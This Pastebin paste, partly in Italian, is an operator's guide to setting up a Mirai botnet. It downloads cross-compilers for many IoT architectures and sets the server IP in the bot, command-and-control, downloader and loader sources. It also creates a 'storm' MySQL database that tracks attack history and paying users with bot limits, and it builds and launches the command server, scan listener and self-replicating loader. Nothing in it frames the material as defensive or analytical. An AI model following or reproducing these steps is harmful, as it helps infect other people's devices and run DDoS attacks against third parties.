Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //STEP 1 - INSTALLARE TUTTE LE LIBRERIE
- yum update -y
- yum install epel-release -y
- yum groupinstall "Development Tools" -y
- yum install gmp-devel -y
- ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10
- yum install screen wget bzip2 gcc nano gcc-c++ electric-fence sudo git libc6-dev httpd xinetd tftpd tftp-server mysql mysql-server gcc glibc-static -y
- //STEP 2 - DOWNLOADING CROSS COMPILERS/SETTING UP GOLANG
- mkdir /etc/xcompile
- cd /etc/xcompile
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
- wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
- wget https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2
- tar -jxf cross-compiler-i586.tar.bz2
- tar -jxf cross-compiler-m68k.tar.bz2
- tar -jxf cross-compiler-mips.tar.bz2
- tar -jxf cross-compiler-mipsel.tar.bz2
- tar -jxf cross-compiler-powerpc.tar.bz2
- tar -jxf cross-compiler-sh4.tar.bz2
- tar -jxf cross-compiler-sparc.tar.bz2
- tar -jxf cross-compiler-armv4l.tar.bz2
- tar -jxf cross-compiler-armv5l.tar.bz2
- tar -jxf cross-compiler-armv6l.tar.bz2
- tar -jxf cross-compiler-armv7l.tar.bz2
- rm -rf *.tar.bz2
- mv cross-compiler-i586 i586
- mv cross-compiler-m68k m68k
- mv cross-compiler-mips mips
- mv cross-compiler-mipsel mipsel
- mv cross-compiler-powerpc powerpc
- mv cross-compiler-sh4 sh4
- mv cross-compiler-sparc sparc
- mv cross-compiler-armv4l armv4l
- mv cross-compiler-armv5l armv5l
- mv cross-compiler-armv6l armv6l
- mv cross-compiler-armv7l armv7l
- cd /tmp
- wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz -q
- tar -xzf go1.8.3.linux-amd64.tar.gz
- mv go /usr/local
- cd ~/
- //STEP 3 - SETTING UP SERVER IP
- CHANGE bot/includes.h
- CHANGE cnc/main.go
- CHANGE dlr/main.c
- CHANGE loader/src/main.c
- CHANGE scanListen
- //STEP 4 - DATABASE SETUP
- service mysqld start
- mysql_secure_installation
- //SETUP A MYSQL PASS HERE AND REMEMBER IT
- //NOW LOGIN TO MYSQL
- mysql -p<PASS>
- //COPY AND PASTE ALL THIS IN THE MYSQL TERMINAL
- CREATE DATABASE storm;
- use storm;
- CREATE TABLE `history` (
- `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
- `user_id` int(10) unsigned NOT NULL,
- `time_sent` int(10) unsigned NOT NULL,
- `duration` int(10) unsigned NOT NULL,
- `command` text NOT NULL,
- `max_bots` int(11) DEFAULT '-1',
- PRIMARY KEY (`id`),
- KEY `user_id` (`user_id`)
- );
- CREATE TABLE `users` (
- `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
- `username` varchar(32) NOT NULL,
- `password` varchar(32) NOT NULL,
- `duration_limit` int(10) unsigned DEFAULT NULL,
- `cooldown` int(10) unsigned NOT NULL,
- `wrc` int(10) unsigned DEFAULT NULL,
- `last_paid` int(10) unsigned NOT NULL,
- `max_bots` int(11) DEFAULT '-1',
- `admin` int(10) unsigned DEFAULT '0',
- `intvl` int(10) unsigned DEFAULT '30',
- `api_key` text,
- PRIMARY KEY (`id`),
- KEY `username` (`username`)
- );
- CREATE TABLE `whitelist` (
- `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
- `prefix` varchar(16) DEFAULT NULL,
- `netmask` tinyint(3) unsigned DEFAULT NULL,
- PRIMARY KEY (`id`),
- KEY `prefix` (`prefix`)
- );
- INSERT INTO users VALUES (NULL, 'root', 'root', 0, 0, 0, 0, -1, 1, 30, '');
- exit;
- //NOW PUT THE MYSQL PASSWORD IN THE main.go OF THE CNC.
- //STEP 4 - COMPILE
- cd ~/
- chmod 0777 * -R
- sh build.sh YOUR IP
- //Now your mirai is setup you just need to start the cnc and the scanListen
- screen ./cnc (uscire da putty senza terminare processo e riaprire un'altra sessione putty e fare:
- screen ./scanListen | ./loader selfrep
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement